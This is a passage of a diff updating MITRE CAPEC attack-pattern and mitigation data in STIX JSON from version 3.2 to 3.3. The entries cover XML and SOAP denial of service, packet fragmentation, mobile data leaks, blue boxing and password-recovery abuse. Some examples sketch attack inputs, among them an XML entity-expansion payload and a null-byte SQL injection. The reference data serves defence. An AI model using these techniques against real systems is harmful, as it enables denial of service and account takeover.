"type": "course-of-action", - "id": "course-of-action--d0ed5ae3-a632-40b6-adec-abee22f9f753" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f777f7b6-4f71-48a6-89b5-694f5210cb6b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f777f7b6-4f71-48a6-89b5-694f5210cb6b", "source_ref": "course-of-action--d0ed5ae3-a632-40b6-adec-abee22f9f753", "relationship_type": "mitigates", "target_ref": "attack-pattern--e68b5623-7a7a-45f8-896f-12b38bedc838" }, { + "id": "attack-pattern--8f70b1fb-393f-4494-b4ad-67f1a2107975", "name": "XML Quadratic Expansion", "description": "An adversary exploits a few properties of XML(substitution entities and inline DTDs) to cause a denial of service situation due to excessive memory being allocated to fully expand the XML. The result of this denial of service could cause the application to freeze or crash.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29308,7 +31264,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -29329,36 +31285,38 @@ "\n In this example the attacker defines one large entity and refers to it many times.\n \n ... [100K of them] ...\n \n AAAA\">]>&x;&x;\n ... [100K of them]...\n \n &x;&x;\n \n This results in a relatively small message of 100KBs that will expand to a message in the GB range.\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8f70b1fb-393f-4494-b4ad-67f1a2107975" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-491-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "\n Design: Use libraries and templates that minimize unfiltered input. Use methods that limit entity expansion and throw exceptions on attempted entity expansion.\n Implementation: Disable altogether the use of inline DTD schemas in your XML parsing objects. If must use DTD, normalize, filter and white list and parse with methods and routines that will detect entity expansion from untrusted sources.\n ", + "description": "\n Design: Use libraries and templates that minimize unfiltered input. Use methods that limit entity expansion and throw exceptions on attempted entity expansion.\n Implementation: Disable altogether the use of inline DTD schemas in your XML parsing objects. If must use DTD, normalize, filter and use an allowlist and parse with methods and routines that will detect entity expansion from untrusted sources.\n ", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--29926a90-ced3-4235-8fd9-70f173dab93a" + "id": "course-of-action--7b254dc5-0c8c-49b0-b8da-925d31a69a68" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--40becaf8-5691-4e2d-8994-c780dbd54e65", - "source_ref": "course-of-action--29926a90-ced3-4235-8fd9-70f173dab93a", + "id": "relationship--f74ae309-703d-43fa-8f01-58e9e3aa0b55", + "source_ref": "course-of-action--7b254dc5-0c8c-49b0-b8da-925d31a69a68", "relationship_type": "mitigates", "target_ref": "attack-pattern--8f70b1fb-393f-4494-b4ad-67f1a2107975" }, { + "id": "attack-pattern--dcf12181-3652-40c9-bb64-b09d367d2fb1", "name": "Regular Expression Exponential Blowup", "description": "An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions. The algorithm builds a finite state machine and based on the input transitions through all the states until the end of the input is reached. NFA engines may evaluate each character in the input string multiple times during the backtracking. The algorithm tries each path through the NFA one by one until a match is found; the malicious input is crafted so every path is tried which results in a failure. Exploitation of the Regex results in programs hanging or taking a very long time to complete. These attacks may target various layers of the Internet due to regular expressions being used in validation.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29390,11 +31348,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--dcf12181-3652-40c9-bb64-b09d367d2fb1" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--304c8c69-2778-4990-bcbc-b9dcdf357054", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -29403,23 +31361,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Test custom written Regex with fuzzing to determine if the Regex is a poor one. Add timeouts to processes that handle the Regex logic. If an evil Regex is found rewrite it as a good Regex.", - "type": "course-of-action", - "id": "course-of-action--304c8c69-2778-4990-bcbc-b9dcdf357054" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--cbd942cb-719b-4645-a9fe-77e24232dbee", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cbd942cb-719b-4645-a9fe-77e24232dbee", "source_ref": "course-of-action--304c8c69-2778-4990-bcbc-b9dcdf357054", "relationship_type": "mitigates", "target_ref": "attack-pattern--dcf12181-3652-40c9-bb64-b09d367d2fb1" }, { + "id": "attack-pattern--c0166c89-dd49-46a7-9359-88a2c9d053e3", "name": "SOAP Array Blowup", "description": "An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29451,11 +31411,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c0166c89-dd49-46a7-9359-88a2c9d053e3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0878f5f1-911e-488a-8d4e-1f242b96933f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -29464,23 +31424,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Enforce strict schema validation. The schema should enforce a maximum number of array elements. If the number of maximum array elements can't be limited another validation method should be used. One such method could be comparing the declared number of items in the array with the existing number of elements of the array. If these numbers don't match drop the SOAP packet at the web service layer.", - "type": "course-of-action", - "id": "course-of-action--0878f5f1-911e-488a-8d4e-1f242b96933f" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--d8f6f476-720d-4647-8211-640732114f60", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d8f6f476-720d-4647-8211-640732114f60", "source_ref": "course-of-action--0878f5f1-911e-488a-8d4e-1f242b96933f", "relationship_type": "mitigates", "target_ref": "attack-pattern--c0166c89-dd49-46a7-9359-88a2c9d053e3" }, { + "id": "attack-pattern--753614f7-f574-4a2f-9cc4-481c62c25c32", "name": "TCP Fragmentation", "description": "An attacker may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. The attacker attempts to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered. This behavior defeats some IPS and firewall filters who typically check the FLAGS in the header of the first packet since dropping this packet prevents the following fragments from being processed and assembled. Another variation is overlapping fragments thus that an innocuous first segment passes the filter and the second segment overwrites the TCP header data with the true payload which is malicious in nature. The malicious payload manipulated properly may lead to a DoS due to resource consumption or kernel crash. Additionally the fragmentation could be used in conjunction with sending fragments at a rate slightly slower than the timeout to cause a DoS condition by forcing resources that assemble the packet to wait an inordinate amount of time to complete the task. The fragmentation identification numbers could also be duplicated very easily as there are only 16 bits in IPv4 so only 65536 packets are needed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29517,11 +31479,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--753614f7-f574-4a2f-9cc4-481c62c25c32" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--8d367dc3-d87f-4810-8600-406d591143ad", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -29530,23 +31492,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "This attack may be mitigated by enforcing rules at the router following the guidance of RFC1858. The essential part of the guidance is creating the following rule \"IF FO=1 and PROTOCOL=TCP then DROP PACKET\" as this mitigated both tiny fragment and overlapping fragment attacks in IPv4. In IPv6 overlapping(RFC5722) additional steps may be required such as deep packet inspection. The delayed fragments may be mitigated by enforcing a timeout on the transmission to receive all packets by a certain time since the first packet is received. According to RFC2460 IPv6 implementations should enforce a rule to discard all fragments if the fragments are not ALL received within 60 seconds of the FIRST arriving fragment.", - "type": "course-of-action", - "id": "course-of-action--8d367dc3-d87f-4810-8600-406d591143ad" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4c63b7b2-466c-4c0a-9b40-4dc3b26ad502", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4c63b7b2-466c-4c0a-9b40-4dc3b26ad502", "source_ref": "course-of-action--8d367dc3-d87f-4810-8600-406d591143ad", "relationship_type": "mitigates", "target_ref": "attack-pattern--753614f7-f574-4a2f-9cc4-481c62c25c32" }, { + "id": "attack-pattern--428d5dc6-c2be-4a2a-aed1-1e794518b101", "name": "UDP Fragmentation", "description": "An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29583,11 +31547,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--428d5dc6-c2be-4a2a-aed1-1e794518b101" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--30d838cf-1c32-4edd-b3aa-796095ba5314", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -29596,23 +31560,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "This attack may be mitigated by changing default cache sizes to be larger at the OS level. Additionally rules can be enforced to prune the cache with shorter timeouts for packet reassembly as the cache nears capacity.", - "type": "course-of-action", - "id": "course-of-action--30d838cf-1c32-4edd-b3aa-796095ba5314" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9a8d2ca3-6686-47c3-ba2b-0bd391ee4af9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9a8d2ca3-6686-47c3-ba2b-0bd391ee4af9", "source_ref": "course-of-action--30d838cf-1c32-4edd-b3aa-796095ba5314", "relationship_type": "mitigates", "target_ref": "attack-pattern--428d5dc6-c2be-4a2a-aed1-1e794518b101" }, { + "id": "attack-pattern--fbdcbfab-769d-4d52-8ec2-7fd1e4c212de", "name": "ICMP Fragmentation", "description": "An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29649,11 +31615,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--fbdcbfab-769d-4d52-8ec2-7fd1e4c212de" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f1132180-9c58-4be8-8ef6-dedb17aed57e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -29662,23 +31628,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "This attack may be mitigated through egress filtering based on ICMP payload so a network is a \"good neighbor\" to other networks. Bad IP implementations become patched, so using the proper version of a browser or OS is recommended.", - "type": "course-of-action", - "id": "course-of-action--f1132180-9c58-4be8-8ef6-dedb17aed57e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b4385941-4381-4b52-8fff-1a5170cad3da", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b4385941-4381-4b52-8fff-1a5170cad3da", "source_ref": "course-of-action--f1132180-9c58-4be8-8ef6-dedb17aed57e", "relationship_type": "mitigates", "target_ref": "attack-pattern--fbdcbfab-769d-4d52-8ec2-7fd1e4c212de" }, { + "id": "attack-pattern--323ed142-7793-413d-838f-72626caf58da", "name": "File Discovery", "description": "An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29686,7 +31654,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2019-09-30T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -29697,6 +31665,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "File and Directory Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1083", + "external_id": "T1083" } ], "x_capec_likelihood_of_attack": "High", @@ -29714,36 +31688,38 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--323ed142-7793-413d-838f-72626caf58da" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--54c4cc5a-fe59-4f27-82bc-a2e6d27d80b7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-09-30T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-497-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Leverage file protection mechanisms to render these files accessible only to authorized parties.", - "type": "course-of-action", - "id": "course-of-action--54c4cc5a-fe59-4f27-82bc-a2e6d27d80b7" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--47804bd8-6b7f-435e-b2e4-277a8a51384e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-09-30T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--47804bd8-6b7f-435e-b2e4-277a8a51384e", "source_ref": "course-of-action--54c4cc5a-fe59-4f27-82bc-a2e6d27d80b7", "relationship_type": "mitigates", "target_ref": "attack-pattern--323ed142-7793-413d-838f-72626caf58da" }, { + "id": "attack-pattern--1b75b059-c9ee-4c4d-b016-bafb20cce96b", "name": "Probe iOS Screenshots", "description": "An adversary examines screenshot images created by iOS in an attempt to obtain sensitive information. These images are used by iOS to aid in the visual transition between open applications and improve the user's experience with a device. An application can be at risk even if it properly protects sensitive information when at rest. If the application displays sensitive information on the screen, then the potential exists for iOS to unintentionally record that information in an image file. An adversary can retrieve these images either by gaining access to the image files, or by physically obtaining the device and leveraging the multitasking switcher interface.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29751,7 +31727,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -29769,36 +31745,38 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1b75b059-c9ee-4c4d-b016-bafb20cce96b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--bf6e6d14-40c1-4f5f-9acd-1ad186a51940", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-498-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, an application that may display sensitive information should clear the screen contents before a screenshot is taken. This can be accomplished by setting the key window's hidden property to YES. This code to hide the contents should be placed in both the applicationWillResignActive() and applicationDidEnterBackground() methods.", - "type": "course-of-action", - "id": "course-of-action--bf6e6d14-40c1-4f5f-9acd-1ad186a51940" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--04be062d-d511-410f-99c9-f9f7993a39af", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--04be062d-d511-410f-99c9-f9f7993a39af", "source_ref": "course-of-action--bf6e6d14-40c1-4f5f-9acd-1ad186a51940", "relationship_type": "mitigates", "target_ref": "attack-pattern--1b75b059-c9ee-4c4d-b016-bafb20cce96b" }, { + "id": "attack-pattern--48f21dcd-2490-49c6-9690-1cb586b201f4", "name": "Intent Intercept", "description": "An adversary, through a previously installed malicious application, intercepts messages from a trusted Android-based application in an attempt to achieve a variety of different objectives including denial of service, information disclosure, and data injection. An implicit intent sent from a trusted application can be received by any application that has declared an appropriate intent filter. If the intent is not protected by a permission that the malicious application lacks, then the attacker can gain access to the data contained within the intent. Further, the intent can be either blocked from reaching the intended destination, or modified and potentially forwarded along.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29806,7 +31784,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -29830,36 +31808,38 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--48f21dcd-2490-49c6-9690-1cb586b201f4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0c769b9e-b3fa-410a-b87b-ef79448b95b2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-499-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, explicit intents should be used whenever sensitive data is being sent. An explicit intent is delivered to a specific application as declared within the intent, whereas the Android operating system determines who receives an implicit intent which could potentially be a malicious application. If an implicit intent must be used, then it should be assumed that the intent will be received by an unknown application and any response should be treated accordingly. Implicit intents should never be used for inter-application communication.", - "type": "course-of-action", - "id": "course-of-action--0c769b9e-b3fa-410a-b87b-ef79448b95b2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ede8d88a-2bc4-4188-a9d7-2dbbe7c96fb5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ede8d88a-2bc4-4188-a9d7-2dbbe7c96fb5", "source_ref": "course-of-action--0c769b9e-b3fa-410a-b87b-ef79448b95b2", "relationship_type": "mitigates", "target_ref": "attack-pattern--48f21dcd-2490-49c6-9690-1cb586b201f4" }, { + "id": "attack-pattern--7b462c1f-e0bf-41a7-b811-2b676c103bda", "name": "Blue Boxing", "description": "This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29915,11 +31895,11 @@ "An adversary identifies a vulnerable CCITT-5 phone line, and sends a combination tone to the switch in order to request administrative access. Based on tone and timing parameters the request is verified for access to the switch. Once the adversary has gained control of the switch launching calls, routing calls, and a whole host of opportunities are available." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7b462c1f-e0bf-41a7-b811-2b676c103bda" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ad48d35a-8497-454e-a5b3-7ce3c8b75663", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -29928,23 +31908,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Upgrade phone lines. Note this may be prohibitively expensive", - "type": "course-of-action", - "id": "course-of-action--ad48d35a-8497-454e-a5b3-7ce3c8b75663" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--49c94014-b8f3-4700-b509-8b705cbfbb0c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--49c94014-b8f3-4700-b509-8b705cbfbb0c", "source_ref": "course-of-action--ad48d35a-8497-454e-a5b3-7ce3c8b75663", "relationship_type": "mitigates", "target_ref": "attack-pattern--7b462c1f-e0bf-41a7-b811-2b676c103bda" }, { + "id": "course-of-action--3a64abb3-73d9-4d4b-b7d8-afda18b016a0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -29953,23 +31935,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use strong access control such as two factor access control for administrative access to the switch", - "type": "course-of-action", - "id": "course-of-action--3a64abb3-73d9-4d4b-b7d8-afda18b016a0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9246fa28-1064-427d-b782-252991eab85a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9246fa28-1064-427d-b782-252991eab85a", "source_ref": "course-of-action--3a64abb3-73d9-4d4b-b7d8-afda18b016a0", "relationship_type": "mitigates", "target_ref": "attack-pattern--7b462c1f-e0bf-41a7-b811-2b676c103bda" }, { + "id": "attack-pattern--addd93c9-9278-4185-b402-e505d632c815", "name": "Password Recovery Exploitation", "description": "An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure. Most of them use only one security question . For instance, mother's maiden name tends to be a fairly popular one. Unfortunately in many cases this information is not very hard to find, especially if the attacker knows the legitimate user. These generic security questions are also re-used across many applications, thus making them even more insecure. An attacker could for instance overhear a coworker talking to a bank representative at the work place and supplying their mother's maiden name for verification purposes. An attacker can then try to log in into one of the victim's accounts, click on \"forgot password\" and there is a good chance that the security question there will be to provide mother's maiden name. A weak password recovery scheme totally undermines the effectiveness of a strong password scheme.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29977,7 +31961,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -30035,89 +32019,96 @@ "x_capec_abstraction": "Standard", "x_capec_example_instances": [ "An attacker clicks on the \"forgot password\" and is presented with a single security question. The question is regarding the name of the first dog of the user. The system does not limit the number of attempts to provide the dog's name. An attacker goes through a list of 100 most popular dog names and finds the right name, thus getting the ability to reset the password and access the system.", - "\n phpBanner Exchange is a PHP script (using the mySQL database) that facilitates the running of a banner exchange without extensive knowledge of PHP or mySQL.\n A SQL injection was discovered in the password recovery module of the system that allows recovering an arbitrary user's password and taking over his account. The problem is due to faulty input sanitization in the phpBannerExchange, specifically the e-mail address of the user which is requested by the password recovery module.\n The e-mail address requested by the password recovery module on the resetpw.php page. That e-mail address is validated with the following regular expression:\n if(!eregi(\"^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})$\", $email)){\n \n A bug in the implementation of eregi() allows to pass additional character using a null byte \"\\0\". Since eregi() is implemented in C, the variable $email is treated as a zero-terminated string. All characters following the Null Byte will not be recognized by the regular expression. So an e-mail address can be provided that includes the special character \" ' \" to break the SQL query below (and it will not be rejected by the regular expression because of the null byte trick). So a SQL injection becomes possible:\n $get_info=mysql_query(\"select * from banneruser whereemail='$email' \");\n \n This query will return a non-zero result set even though the email supplied (attacker's email) is not in the database.\n Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system.See also: CVE-2006-3013" + "\n phpBanner Exchange is a PHP script (using the mySQL database) that facilitates the running of a banner exchange without extensive knowledge of PHP or mySQL.\n A SQL injection was discovered in the password recovery module of the system that allows recovering an arbitrary user's password and taking over their account. The problem is due to faulty input sanitization in the phpBannerExchange, specifically the e-mail address of the user which is requested by the password recovery module.\n The e-mail address 